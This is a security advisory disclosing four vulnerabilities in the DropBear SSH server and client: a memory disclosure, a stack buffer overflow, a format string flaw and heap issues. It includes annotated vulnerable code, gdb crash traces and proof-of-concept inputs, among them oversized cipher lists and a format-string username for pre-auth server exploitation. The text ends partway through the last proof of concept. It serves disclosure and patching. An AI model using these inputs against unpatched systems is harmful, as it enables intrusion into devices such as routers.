Vulnerabilities Summary
The following advisory describes four (4) vulnerabilities in DropBear. DropBear is a SSH server and client. It runs on a variety of POSIX-based platforms. DropBear is open source software, distributed under a MIT-style license. DropBear is particularly useful for “embedded”-type Linux (or other Unix) systems, such as wireless routers.
The four vulnerabilities found in DropBear are:
- Server-side disclose memory
- Stack buffer overflow
- Format string vulnerability
- Heap buffer overwrite and arbitrary memory read vulnerabilities
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
The vendor has released DropBear patches (21st of July 2016) to address the vulnerabilities, advisory can be found https://matt.ucc.asn.au/dropbear/CHANGES.
Vulnerabilities Details
Server Side Disclose Memory vulnerability
If DropBear is compiled with `DEBUG_TRACE` (`debug.h`) it will print verbose debug output using `TRACE(fmt,…)` functions.
A missing null-termination in an error-case during the processing of SSH-Identification packets in `ident_readln` which are expected to terminated with `[\r\|n]` may lead to a uninitialized or non-null-terminated client-provided string buffer being passed to `TRACE(%s,linebuf)` – which essentially is just a `printf()` – resulting in a `printf()` type memory disclosure visible on the process hosting side.
This means, a sshd *server* compiled with `DEBUG_TRACE` may locally (on the *server-side*) disclose memory contents when a client sends a non `\n` terminated SSH-Identification String or when the socket read action results in a read error.
Dropbear must be compiled with `DEBUG_TRACE`. edit `debug.h` and enable:
#define DEBUG_TRACE
SSH Protocols first packet for either client or server is an Identification string. The expected format is `SSH-.-\n`. Dropbear explicitly checks for `\n` termination but does not account `\x00` or missing `\n`.
Vulnerable Code
`read_session_identification` function
static void read_session_identification() { /* max length of 255 chars */ char linebuf[256]; /* !! max line size*/ int len = 0; char done = 0; int i; /* If they send more than 50 lines, something is wrong */ for (i = 0; i < 50; i++) { len = ident_readln(ses.sock_in, linebuf, sizeof(linebuf)); /* !! reads packet, copies SSH-IDENT-String to linebuf, up to 256 bytes*/ if (len < 0 && errno != EINTR) { /* !! assume it failed, with len<0 due to missing \n*/ /* It failed */ break; /* !! break, done remains 0*/ } if (len >= 4 && memcmp(linebuf, "SSH-", 4) == 0) { /* start of line matches */ done = 1; break; } } if (!done) { TRACE(("err: %s for '%s'\n", strerror(errno), linebuf)) /* !! prints linebuf (might be uninitialized or non-null-terminated)*/ ses.remoteclosed(); } else { /* linebuf is already null terminated */ ses.remoteident = m_malloc(len); memcpy(ses.remoteident, linebuf, len); } /* Shall assume that 2.x will be backwards compatible. */ if (strncmp(ses.remoteident, "SSH-2.", 6) != 0 && strncmp(ses.remoteident, "SSH-1.99-", 9) != 0) { dropbear_exit("Incompatible remote version '%s'", ses.remoteident); } TRACE(("remoteident: %s", ses.remoteident)) }
linebuf is 256 bytes, uninitialized and will be set by ident_readln. In case there is an error or something is missing, `done` remains unset/false and if compiled with `DEBUG_TRACE` linebuf will be printed by `TRACE()`.
`ident_readln` function fails to null-terminate linebuf on error or end-of-file.
/* returns the length including null-terminating zero on success, * or -1 on failure */ static int ident_readln(int fd, char* buf, int count) { /* !! buf=<destination buffer>, count=buffer_size_max*/ ... /* leave space to null-terminate */ while (pos < count-1) { ... /* Have to go one byte at a time, since we don't want to read past * the end, and have to somehow shove bytes back into the normal * packet reader */ if (FD_ISSET(fd, &fds)) { num = read(fd, &in, 1); /* !! read byte-by-byte into in*/ /* a "\n" is a newline, "\r" we want to read in and keep going * so that it won't be read as part of the next line */ if (num < 0) { /* !! error - we dont care*/ /* error */ if (errno == EINTR) { continue; /* not a real error */ } TRACE(("leave ident_readln: read error")) return -1; } if (num == 0) { /* !! we'll land here if we do not provide a \n at some point*/ /* EOF */ TRACE(("leave ident_readln: EOF")) return -1; } if (in == '\n') { /* !! we wont provide the \n to make sure that buf stays non-nullterm'd*/ /* end of ident string */ break; } /* we don't want to include '\r's */ /* !! copy char if not \r (wont even stop on \0)*/ if (in != '\r') { buf[pos] = in; pos++; } } } buf[pos] = '\0'; /* !! we'll never reach this code if we do not provide \n*/ TRACE(("leave ident_readln: return %d", pos+1)) return pos+1; }
If a user does not send a terminating `\n` in the SSH-Identification-Packet the `buf==linebuf` will stay unterminated.
Prof of Concept
Start the server on port 99
# ./dropbear -R -F -E -B -a -p 99 -v
Send a SSH-Identification-String (first ssh packet) missing the terminating `\n`
p = SSH()/SSHIdent(ident="SSH-2.0-") # missing \r\n
or this python oneliner (replace “ and port `99` with your dropbear server instance)
# python -c "import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('<destination_ip>',99));s.sendall('');s.close()"
Watch the server `TRACE` output
# ./dropbear -R -F -E -B -a -p 99 -v TRACE (13802) 1425171954.307545: DATAALLOWED=0 TRACE (13802) 1425171954.307588: -> KEXINIT TRACE (13802) 1425171954.307633: maybe_empty_reply_queue - no data allowed TRACE (13802) 1425171954.307796: empty queue dequeing TRACE (13802) 1425171954.307846: enter ident_readln TRACE (13802) 1425171954.307881: leave ident_readln: EOF TRACE (13802) 1425171954.307953: err: Protocol not available for 'Ç5j·ã¤`·ô/j·D [·' [13802] Mar 01 02:05:54 Exit before auth: Exited normally TRACE (13802) 1425171954.308801: enter session_cleanup TRACE (13802) 1425171954.309171: enter chancleanup TRACE (13802) 1425171954.309761: leave chancleanup TRACE (13802) 1425171954.310142: leave session_cleanup `err: Protocol not available for` line is not initialized nor terminated. # python -c "import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('<destination_ip>',99));s.sendall('TEST');s.close()" TRACE (13805) 1425172056.717140: err: Protocol not available for 'TESTã¤`·ô/j·D [·'
Stack buffer overflow vulnerability
Dropbear SSH client `dbclient` fails to properly check bounds for `new_algos[MAX_PROPOSED_ALGO]` while parsing user-provided comma-separated algorithmlists in command-line options `-m ` and `-c `. A malicious user providing more than `MAX_PROPOSED_ALGO==20` comma-separated cipher strings per list may therefore overflow the stack buffer `new_algos`.
Dropbear must be compiled with `ENABLE_USER_ALGO_LIST` (`options.h`), which is enabled by *default* (see blame [4] and check for `ENABLE_USER_ALGO_LIST`). Set options.h:
#define ENABLE_USER_ALGO_LIST
DropBear client first splits the user-provided algo-list into individual comma-separated strings, then compares this string against a list of known-supported algorithms and adds the algorithm to the static stack buffer `algo_type new_algos[MAX_PROPOSED_ALGO]` provided the algo-string matched a known algorithm. Unknown algorithms are discarded. However, there is no check that makes sure that the user does not write paste `new_algos`. Given the limitation that only known algorithms qualify for being put into `new_algos` only known algorithm strings can be used to overflow the `new_algos` stack buffer. An algorithm may occur multiple times in the user-provided list.
To get a list of supported algorithms for ciphers and macs execute:
#./dbclient: Available ciphers: aes128-ctr,3des-ctr,aes256-ctr,aes128-cbc,3des-cbc,aes256-cbc,twofish256-cbc,twofish-cbc,twofish128-cbc # ./dbclient -m help ./dbclient: Available MACs: hmac-sha1-96,hmac-sha1,hmac-md5
For reference, here is the full command-line help
# ./dbclient --help WARNING: Ignoring unknown argument '--help' Dropbear SSH client v2014.65 https://matt.ucc.asn.au/dropbear/dropbear.html Usage: ./dbclient [options] [user@]host[/port][,[user@]host/port],...] [command] -p <remoteport> -l <username> -t Allocate a pty -T Don't allocate a pty -N Don't run a remote command -f Run in background after auth -y Always accept remote host key if unknown -y -y Don't perform any remote host key checking (caution) -s Request a subsystem (use by external sftp) -i <identityfile> (multiple allowed) -A Enable agent auth forwarding -L <[listenaddress:]listenport:remotehost:remoteport> Local port forwarding -g Allow remote hosts to connect to forwarded ports -R <[listenaddress:]listenport:remotehost:remoteport> Remote port forwarding -W <receive_window_buffer> (default 24576, larger may be faster, max 1MB) -K <keepalive> (0 is never, default 0) -I <idle_timeout> (0 is never, default 0) -B <endhost:endport> Netcat-alike forwarding -J <proxy_program> Use program pipe rather than TCP connection -c <cipher list> Specify preferred ciphers ('-c help' to list options) -m <MAC list> Specify preferred MACs for packet verification (or '-m help') -V Version -v verbose (compiled with DEBUG_TRACE)
Providing the following list of 22 times `aes128-ctr` to `-c` will overflow the stack buffer:
aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr,aes128-ctr
Providing the following list of 22 times `hmac-sha1` to `-m` will overflow the stack buffer
hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1
Vulnerable Code
`cli-main.c: main` – calls cli_getopts
`cli-runopts.c: cli_getopts` – copies arguments for options `-c` and `-m` from `argv` to `opts.cipher_list` and `opts.mac_list`
void cli_getopts(int argc, char ** argv) { ... for (i = 1; i < (unsigned int)argc; i++) { ... if (argv[i][0] == '-') { ... #ifdef ENABLE_USER_ALGO_LIST case 'c': next = &opts.cipher_list; /** !! sets next variable to be filled*/ break; case 'm': next = &opts.mac_list; break; #endif ... /* Now we handle args where they might be "-luser" (no spaces)*/ if (next && strlen(argv[i]) > 2) { /** !! makes opts.[cipher|mac]_list point to argv string list*/ *next = &argv[i][2]; next = NULL; } continue; /* next argument */ ... /* And now a few sanity checks and setup */ #ifdef ENABLE_USER_ALGO_LIST parse_ciphers_macs(); #endif ...
`parse_ciphers_macs` – calls `check_user_algos` which parses the user-provided string from `opts.cipher_list` and `opts.mac_list` and leads to the overflow.
#ifdef ENABLE_USER_ALGO_LIST void parse_ciphers_macs() { if (opts.cipher_list) { ... if (check_user_algos(opts.cipher_list, sshciphers, "cipher") == 0) /** !! opts.cipher_list will overflow inside check_user_algo*/ { /** !! Note: sshhashes contains the allowed cipher-identifier strings*/ dropbear_exit("No valid ciphers specified for '-c'"); } } if (opts.mac_list) { ... if (check_user_algos(opts.mac_list, sshhashes, "MAC") == 0) /** !! opts.mac_list will overflow insided check_user_algo*/ { /** !! Note: sshhashes contains the allowed mac-identifier strings*/ dropbear_exit("No valid MACs specified for '-m'"); } } } #endif
`check_users_algos` – multiple potential stack buffer overwrites. This functions actually parses the user-provided comma-separated list of algorithms (e.g. for ciphers `aes128-ctr,aes128-ctr,..`) provided as param `user_algo_list`, splits it into individual algorithm identifiers (e.g. `aes128-ctr\x00`) and compares it against the allowed list of algorithm identifiers passed as an `algo_type` array in `algos`.
Valid algorithm identifiers will be added to local stack buffer `algo_type new_algos[MAX_PROPOSED_ALGO]`. No bounds checking is done for this buffer. Duplicates are not detected, effectively allowing to write past `new_algos` (happens within `try_add_algo` – see next bulletpoint for details) and therfore also allowing `int num_ret` to increment past `MAX_PROPOSED_ALGO` but more critically also to grow past sizeof param `algos` (remember this is the argument that got passed to this function containing a list of allowed algorithms).
Local integer `num_ret` is especially critical because of the `memcpy` at the bottom of the function that allows to write `num_ret` (number of valid user provided list items) user-provided `algo_type` structures to the static stack buffer that contains the list of allowed `algo_type` structsin var `algos` (`common-algo.c:sizeof(sshhashes))=7`,`common-algo.c:sizeof(sshciphers)==12`).
There are two types of overflows in this piece of code:
- Overwrite within try_add_algo that writes past `new_algos`
- Overwrite at the function epilogue where `memcpy` writes user-controlled amount of user-controlled `algo_type` elements previously parsed into `new_algos` to the static stack buffer `sshhashes` (for `-m`) or `sshciphers` (for `-c`). This one is only reachable if you do not crash in 1).
common-algo.c: `check_users_algos` /* Checks a user provided comma-separated algorithm list for available * options. Any that are not acceptable are removed in-place. Returns the * number of valid algorithms. */ int check_user_algos(const char* user_algo_list, algo_type * algos, /** !! user_algo_list (tainted< --user-data), algos (allowed algos), algo_desc=static_string [MAC|cipher]*/ const char *algo_desc) { algo_type new_algos[MAX_PROPOSED_ALGO]; /** !! allocate stack buffer with length MAX_PROPOSED_ALGO==20 times algo_type*/ /* this has two passes. first we sweep through the given list of * algorithms and mark them as usable=2 in the algo_type[] array... */ int num_ret = 0; char *work_list = m_strdup(user_algo_list); /** !! heap dup tainted user data*/ char *last_name = work_list; /** !! points to last algo identifier*/ char *c; /** !! current char*/ for (c = work_list; *c; c++) /** !! walk string char by char until \x00 to parse the list*/ { if (*c == ',') /** !! split comma-separated list by ','*/ { *c = '\0'; try_add_algo(last_name, algos, algo_desc, new_algos, &num_ret); /** !! BOOM - check whether algorithm is supported + add it to static stack buffer new_algos at position num_ret (overflows inside - see below) */ c++; /** !! skip past null-term to next list item*/ last_name = c; /** !! preserve next algorithm string start */ } } try_add_algo(last_name, algos, algo_desc, new_algos, &num_ret); /** !! BOOM - does the whole magic again in case the user-provided list did not contain ','*/ m_free(work_list); new_algos[num_ret].name = NULL; /** !! since try_add_algo has already written outside new_algos num_ret will also be > MAX_PROPOSED_ALGO and lead to out-of-bounds nullbyte write*/ /* Copy one more as a blank delimiter */ memcpy(algos, new_algos, sizeof(*new_algos) * (num_ret+1)); /** !! BOOM - another fatal move - we now brutally write num_ret (user_controlled) elements past static stack buffer algos - Note: this used to be the list of allowed ciphers - crazy*/ return num_ret; }
`try_add_algo` – overwrites passed local var from prev. stack frame `new_algos`, increments `num_ret`, `check_algo` is rather uncritical. It always returns a ptr to a sane algorithm identifier string to make sure non-valid identifiers are rejected. `try_add_algo` is passed the parsed `algo_name` (user-provided), the list of allowed `algos`, and a reference to the `algo_type` array `new_algos` from `check_user_algos`. If `algo_name` is in allowed `algos` a ptr to the matched item in `algos` will be returned and inserted into `new_algos` at position `num_ret`. There is no bounds check for `new_algos` which may only contain up to `MAX_PROPOSED_ALGO==20“algo_types`. There is no bounds check that makes sure `num_ret` is < = sizeof `sshhashes` or `sshciphers` – see 4 Comments marked with `BOOM` indicate critical code parts.
static void try_add_algo(const char *algo_name, algo_type *algos, const char *algo_desc, algo_type * new_algos, int *num_ret) { algo_type *match_algo = check_algo(algo_name, algos); /** !! algo must match in order to reach the vulnerable code part*/ if (!match_algo) { dropbear_log(LOG_WARNING, "This Dropbear program does not support '%s' %s algorithm", algo_name, algo_desc); return; } new_algos[*num_ret] = *match_algo; /** !! BOOM - if num_ret is already &gt;=MAX_PROPOSED_ALGO we're writing past new_algos from the previous stack frame*/ (*num_ret)++; /** !! BOOM - may increment past number of max items in sshalgos leading to overwrite in check_user_algos*/ } static algo_type* check_algo(const char* algo_name, algo_type *algos) /** checks algo_name against algos and returns a ptr to the matched algorithm*/ { algo_type *a; for (a = algos; a-&gt;name != NULL; a++) { if (strcmp(a-&gt;name, algo_name) == 0) { return a; } } return NULL; } just for reference, this is the algo_type struct struct Algo_Type { const unsigned char *name; /* identifying name */ char val; /* a value for this cipher, or -1 for invalid */ const void *data; /* algorithm specific data */ char usable; /* whether we can use this algorithm */ const void *mode; /* the mode, currently only used for ciphers, points to a 'struct dropbear_cipher_mode' */ }; typedef struct Algo_Type algo_type;
Prof of Concept
`make debug` in order to not strip symbols.
`cipher_list -c` Option
# ./dbclient -c $(python -c “print ‘,aes128-ctr’*22”)
./dbclient: This Dropbear program does not support '' cipher algorithm Segmentation fault
# dmesg
dbclient[9613]: segfault at 80682c8 ip 08050b02 sp bfe5db60 error 7 in dbclient[8048000+2e000]
# gdb –args ./dbclient -c $(python -c “print ‘,aes128-ctr’*22”)
(gdb) b try_add_algo (gdb) r ... //keep an eye on (gdb) p *num_ret .. if it is &gt; 20 you'll write pas new_algos ... Breakpoint 1, try_add_algo (algo_name=0x8078a05 "aes128-ctr", algos=0x80764d8, algo_desc=0x8069aa4 "cipher", new_algos=0xbffff390, num_ret=0xbffff38c) at common-algo.c:497 497 { (gdb) s 0x08050719 in check_algo (algos=&lt;optimized out&gt;, algo_name=0x8078a05 "aes128-ctr") at common-algo.c:483 483 for (a = algos; a-&gt;name != NULL; a++) (gdb) n try_add_algo (algo_name=0x8078a05 "aes128-ctr", algos=&lt;/optimized&gt;&lt;optimized out&gt;, algo_desc=0x8069aa4 "cipher", new_algos=0xbffff390, num_ret=0xbffff38c) at common-algo.c:498 498 algo_type *match_algo = check_algo(algo_name, algos); (gdb) n 499 if (!match_algo) (gdb) n 505 new_algos[*num_ret] = *match_algo; (gdb) p *num_ret $5 = 20 /** !! num_ret is already +1 out of bounds.. */ (gdb) c Continuing. Breakpoint 1, try_add_algo (algo_name=0x8078a10 "aes128-ctr", algos=0x80764d8, algo_desc=0x8069aa4 "cipher", new_algos=0xbffff390, num_ret=0xbffff38c) at common-algo.c:497 497 { (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. /** !! we've reched the memcpy buffer overwrite, which fails due to our stack being messed up already*/ /** !! user_algo_list (local param) was overwritten by the overwrite of new_algos*/ check_user_algos (user_algo_list=0x1 &lt;address 0x1 out of bounds&gt;, algos=0x80682c8, algo_desc=0x0) at common-algo.c:539 539 memcpy(algos, new_algos, sizeof(*new_algos) * (num_ret+1)); (gdb) (gdb) bt full #0 check_user_algos (user_algo_list=0x1 &lt;/address&gt;&lt;address 0x1 out of bounds&gt;, algos=0x80682c8, algo_desc=0x0) at common-algo.c:539 new_algos = {{name = 0x8069a99 "aes128-ctr", val = 0 '\000', data = 0x8068358, usable = 1 '\001', mode = 0x80682c8} &lt;repeats 20 times&gt;} num_ret = 22 work_list = 0x0 last_name = &lt;optimized out&gt; c = 0x8078a1a "" #1 0x08068358 in dropbear_md5 () No symbol table info available. (gdb) p new_algos $6 = {{name = 0x8069a99 "aes128-ctr", val = 0 '\000', data = 0x8068358, usable = 1 '\001', mode = 0x80682c8} &lt;repeats 20 times&gt;} (gdb) p num_ret $7 = 22 (gdb) p user_algo_list /**messe dup*/ $8 = 0x1 &lt;address 0x1 out of bounds&gt; (gdb) p &amp;user_algo_list /**messed up*/ $9 = (const char **) 0xbffff540 (gdb) p &amp;new_algos /**we overwrite from new_algos (0xbffff390) to user_algo_list (0xbffff540)*/ $10 = (algo_type (*)[20]) 0xbffff390 (gdb) i r eax 0x16 22 ecx 0x1cc 460 edx 0x1b8 440 ebx 0x8078a1a 134711834 esp 0xbffff370 0xbffff370 ebp 0xbffff538 0xbffff538 esi 0xbffff390 -1073745008 edi 0x80682c8 134644424 eip 0x8050b02 0x8050b02 &lt;check_user_algos +151&gt; eflags 0x10206 [ PF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Brutal stack smash:
gdb --args ./dbclient -c $(python -c "print ',aes128-ctr'*220") (gdb) b try_add_algo Breakpoint 1 at 0x80506ee: file common-algo.c, line 497. (gdb) r Breakpoint 1, try_add_algo (algo_name=0x8078928 "", algos=0x80764d8, algo_desc=0x8069aa4 "cipher", new_algos=0xbfffeb10, num_ret=0xbfffeb0c) at common-algo.c:497 497 { (gdb) c ... step over multiple times until segfault ... (gdb) c Continuing. Breakpoint 1, try_add_algo (algo_name=0x8078a1b "aes128-ctr", algos=0x80682c8, algo_desc=0x8069aa4 "cipher", new_algos=0xbfffeb10, num_ret=0xbfffeb0c) at common-algo.c:497 497 { (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xb7f584f7 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) where #0 0xb7f584f7 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 /** !! Stack is messed up */ #1 0x0805070c in check_algo (algos=&lt;optimized out&gt;, algo_name=0x8078a1b "aes128-ctr") at common-algo.c:485 #2 try_add_algo (algo_name=0x8078a1b "aes128-ctr", algos=&lt;/optimized&gt;&lt;optimized out&gt;, algo_desc=&lt;/optimized&gt;&lt;optimized out&gt;, new_algos=0xbfffeb10, num_ret=0xbfffeb0c) at common-algo.c:498 #3 0x08050ab6 in check_user_algos (user_algo_list=0x1 &lt;address 0x1 out of bounds&gt;, algos=0x80682c8, algo_desc=0x8069aa4 "cipher") at common-algo.c:528 #4 0x08068358 in dropbear_md5 () (gdb) list 492 } 493 494 static void 495 try_add_algo(const char *algo_name, algo_type *algos, 496 const char *algo_desc, algo_type * new_algos, int *num_ret) 497 { 498 algo_type *match_algo = check_algo(algo_name, algos); 499 if (!match_algo) 500 { 501 dropbear_log(LOG_WARNING, "This Dropbear program does not support '%s' %s algorithm", algo_name, algo_desc); (gdb)
`common-algo.c` resolves to `if (strcmp(a->name, algo_name) == 0)`
`mac_list -m` Option
this is essentially the same as with `-c`
# ./dbclient -m $(python -c “print ‘,hmac-sha1’*17”)
./dbclient: This Dropbear program does not support '' MAC algorithm Segmentation fault
# dmesg | tail -n1
dbclient[13057]: segfault at 47 ip b7619aa5 sp bf8a762c error 4 in libc-2.13.so[b75da000+15c000]
Brutally smashing the stack
# ./dbclient -m $(python -c “print ‘,hmac-sha1’*99”)
./dbclient: This Dropbear program does not support '' MAC algorithm Segmentation fault
# dmesg | tail -n1
dbclient[13076]: segfault at 0 ip 08050719 sp bfe92e60 error 4 in dbclient[8048000+2e000]
Do not overflow new_algos (17 algo items fit nicely into the 20 items array) but sshhashes (7 items) instead will make us crash randomly due to messed up stack, with server (localhost) provided as argument, execution continues until everything breaks.
# gdb –args ./dbclient -m $(python -c “print ‘,hmac-sha1’*17”) localhost
(gdb) r Starting program: /root/Desktop/dropbear-2014.63/dbclient -m ,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1,hmac-sha1 localhost /root/Desktop/dropbear-2014.63/dbclient: This Dropbear program does not support '' MAC algorithm Program received signal SIGSEGV, Segmentation fault. 0xb7ea7df0 in fputc () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) where #0 0xb7ea7df0 in fputc () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0x08056ee7 in cli_dropbear_exit (exitcode=1, format=0x806847d "No matching algo %s", param=0xbffff2a4 "\240\203\006\b\360\063\372\267\360\063\372\267\001") at cli-main.c:108 #2 0x08049c67 in dropbear_exit (format=0x806847d "No matching algo %s") at dbutil.c:110 #3 0x08050f76 in read_kex_algos () at common-kex.c:973 #4 0x08051a64 in recv_msg_kexinit () at common-kex.c:516 #5 0x080543d2 in process_packet () at process-packet.c:146 #6 0x0804f472 in session_loop (loophandler=0x8057e78 &lt;cli_sessionloop&gt;) at common-session.c:210 #7 0x08058222 in cli_session (sock_in=134577784, sock_out=7) at cli-session.c:107 #8 0x08049ab3 in main (argc=4, argv=0xbffff6f4) at cli-main.c:84 (gdb)
Not providing the <server> argument, execution dies in printf due to messed up stack – `va_list`
# gdb –args ./dbclient -m $(python -c “print ‘,hmac-sha1’*17”)
Program received signal SIGSEGV, Segmentation fault. 0xb7e82aa5 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) where #0 0xb7e82aa5 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0xb7e8ce4f in fprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #2 0x08058282 in printhelp () at cli-runopts.c:52 #3 0x08058988 in cli_getopts (argc=3, argv=0xbffff6f4) at cli-runopts.c:389 #4 0x080499db in main (argc=3, argv=0xbffff6f4) at cli-main.c:59 (gdb)
Format string vulnerability
The format string vulnerability can be found in Server side `svr-session.c::svr_dropbear_exit` and client side `cli-main.c::cli_dropbear_exit`. For DropBear client this vulnerability manifests in a command-line based format string vulnerability. for DropBear Server-side sshd this manifests in a remotely exploitable pre-auth format string vulnerability with the prerequesite that the exact user including the injected format string must be existent on the server-side (e.g. must get past `getpwnam()`).
Vulnerable parameters:
- DropBear Server-side sshd – `ses.authstate.pw_name` (client-controlled ssh-username AND must pass `getpwnam(username)`).
- DropBear client – `cli_opts.username` (ssh-username) and `cli_opts.remotehost` – must pass dns resolver or provide `-J` cmdline flag.
Prerequesites:
DropBear Server-side sshd:
- `dropbear_exit()` must be called with `ses.authstate.pw_name` being set containing a series of format descriptors. `ses.authstate.pw_name` is only set when the client-provided username passed `getpwnam(client-provided username)`. This actually means that `getpwnam()` must be able to find the username specified (e.g a local `/etc/passwd` username or an ldap username, … ).
- `man getpwnam` – The getpwnam() function returns a pointer to a structure containing the broken-out fields of the record in the password dataâ base (e.g., the local password file /etc/passwd, NIS, and LDAP) that matches the username name.
DropBear client
- `dropbear_exit()` must be called with either `cli_opts.username` or `cli_opts.remotehost` being set containing a series of format descriptors. It is not required for the username to exist nor must the remotehost be valid if the `-J` option is provided. Otherwise remotehost must be resolvable.
Server-Side – svr-session.c
Serverside exploitation via an existing username that contains the format string injection. The vulnerability is triggered in `send_msg_userauth_failure()` when max password tries are reached and the userauth failure packet is sent to the client while logging this issue with `svr_dropbear_exit`.
Vulnerable Code
`svr-auth.c::recv_msg_userauth_request` – unpacks userauth request sshd packet, extracts username etc. and passes it to `checkusername()`. `checkusername()` will fill `ses.authstate.pw_name`. We do not need require a valid password as we want to hit `send_msg_userauth_failure()` once `ses.authstatepw_name` is set to trigger the fmt injection.
/* handle a userauth request, check validity, pass to password or pubkey * checking, and handle success or failure */ void recv_msg_userauth_request() { ... username = buf_getstring(ses.payload, &userlen); /** !! extract username from packet*/ ... /* check username is good before continuing. * the 'incrfail' varies depending on the auth method to * avoid giving away which users exist on the system through * the time delay. */ if (checkusername(username, userlen) == DROPBEAR_SUCCESS) { /** !! checks our username and if valid, copies it to ses.authstate.pw_name which is required for the fmt injection to trigger */ valid_user = 1; } ... /* nothing matched, we just fail with a delay */ send_msg_userauth_failure(0, 1); /** !! BOOM - if valid_user is false, we land here, increasing the try counter - once try counter exceeds, it will print a dropbear_exit message with the formatstring in ses.authstate.pw_name as long as the user was known by the system*/ ... }
`check_username` – initialized auth structure, checks whether the username is known on this system via `getpwnam()` and stores the result in `ses.authstate.pw_name`
/* Check that the username exists and isn't disallowed (root), and has a valid shell. * returns DROPBEAR_SUCCESS on valid username, DROPBEAR_FAILURE on failure */ static int checkusername(unsigned char *username, unsigned int userlen) { ... /* new user or username has changed */ if (ses.authstate.username == NULL || strcmp(username, ses.authstate.username) != 0) { ... authclear(); /** !! clears ses.authstate vars*/ fill_passwd(username); /** !! checks username and fills ses.authstate.pw_name (we need to place the fmt injection here)*/ ses.authstate.username = m_strdup(username); } ... }
`fill_passwd(username)` – checks username and fills `ses.authstate.pw_name`. we need to get past getpwnam in order to succeed, this means, the provided username must be known to `getpwnam`
void fill_passwd(const char* username) { ... pw = getpwnam(username); /** !! need to get past getpwnam in order to succeed*/ if (!pw) { return; } ses.authstate.pw_uid = pw->pw_uid; ses.authstate.pw_gid = pw->pw_gid; ses.authstate.pw_name = m_strdup(pw->pw_name); /** !! BOOM - here we go, pw_name is set */ ... }
`send_msg_userauth_failure` – return a userauth failure packet and log this event. we expect that `ses.authstate.pw_name` now contains our injected fmt. This function will now trigger the vulnerability by calling _dropbear_exit
/* Send a failure message to the client, in responds to a userauth_request. * Partial indicates whether to set the "partial success" flag, * incrfail is whether to count this failure in the failure count (which * is limited. This function also handles disconnection after too many * failures */ void send_msg_userauth_failure(int partial, int incrfail) { ... if (ses.authstate.failcount >= MAX_AUTH_TRIES) { ... dropbear_exit("Max auth tries reached - user '%s' from %s", userstr, svr_ses.addrstring); } ... }
`svr_dropbear_exit` – see inline comments. `BOOM` indicates critical parts.
/* failure exit - format must be <= 100 chars */ void svr_dropbear_exit(int exitcode, const char* format, va_list param) { char fmtbuf[300]; int i; if (!sessinitdone) { /* before session init */ snprintf(fmtbuf, sizeof(fmtbuf), /** !! perfectly ok*/ "Early exit: %s", format); } else if (ses.authstate.authdone) { /* user has authenticated */ snprintf(fmtbuf, sizeof(fmtbuf), "Exit (%s): %s", ses.authstate.pw_name, format); /** !! BOOM - merges the username into the FMT for _dropbear_log()*/ } else if (ses.authstate.pw_name) { /* we have a potential user */ snprintf(fmtbuf, sizeof(fmtbuf), "Exit before auth (user '%s', %d fails): %s", ses.authstate.pw_name, ses.authstate.failcount, format); /** !! BOOM - merges the username into the FMT for _dropbear_log()*/ } else { /* before userauth */ snprintf(fmtbuf, sizeof(fmtbuf), "Exit before auth: %s", format); /** !! perfectly ok*/ } _dropbear_log(LOG_INFO, fmtbuf, param); /** !! BOOM - control over fmtbuf -> _dropbear_log(facility,fmtbuf,paramlist) which is a link to svr_dropbear_log (see below)*/ ... }
`svr_dropbear_log` – essentially a printf wrapper with log facility …
/* priority is priority as with syslog() */ void svr_dropbear_log(int priority, const char* format, va_list param) { char printbuf[1024]; char datestr[20]; time_t timesec; int havetrace = 0; vsnprintf(printbuf, sizeof(printbuf), format, param); /** !! BOOM - control over format*/ ... }
Client-Side – cli-main.c
There are two straight-forward ways to trigger the format string injection for both `cli_opts.remotehost` and `cli_opts.username`. Make sure one of the variables contains the fmt injection and make sure to hit `cli_dropbear_exit()` to trigger the vulnerability.
Vulnerable Code
Pretty much the same as described for the server-side.
static void cli_dropbear_exit(int exitcode, const char* format, va_list param) { char fmtbuf[300]; if (!sessinitdone) { snprintf(fmtbuf, sizeof(fmtbuf), "Exited: %s", format); } else { snprintf(fmtbuf, sizeof(fmtbuf), "Connection to %s@%s:%s exited: %s", cli_opts.username, cli_opts.remotehost, /** !! BOOM - copy username and remotehost to fmtbuf */ cli_opts.remoteport, format); } /* Do the cleanup first, since then the terminal will be reset */ session_cleanup(); /* Avoid printing onwards from terminal cruft */ fprintf(stderr, "\n"); _dropbear_log(LOG_INFO, fmtbuf, param); /* !! BOOM - we control fmtbuf */ exit(exitcode); }
Proof of Concept
DropBear server-side sshd
- add a new user `a%p%sb` to your local systems `/etc/passwd` and `/etc/shadow`
- run the server
- connect with username `a%p%sb@localhost` (e.g `./dbclient -v a%p%sb@localhost -p 99`) and always provide a wrong password until dropbear terminates the session:
